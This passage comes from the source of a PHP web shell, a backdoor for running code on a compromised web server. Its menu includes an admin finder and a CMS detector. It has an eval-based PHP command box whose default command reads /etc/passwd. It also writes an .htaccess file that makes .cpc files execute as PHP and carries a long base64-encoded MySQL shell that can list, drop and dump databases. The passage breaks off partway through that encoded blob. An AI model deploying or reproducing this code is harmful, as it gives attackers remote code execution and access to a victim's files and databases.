<a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=tutor">Tutorial & Ebook</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
</div></center>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#00FFFF>+--==[ Mysql Interface ]==--+</font></b><br><br>";
mkdir('mysql', 0755);
chdir('mysql');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcD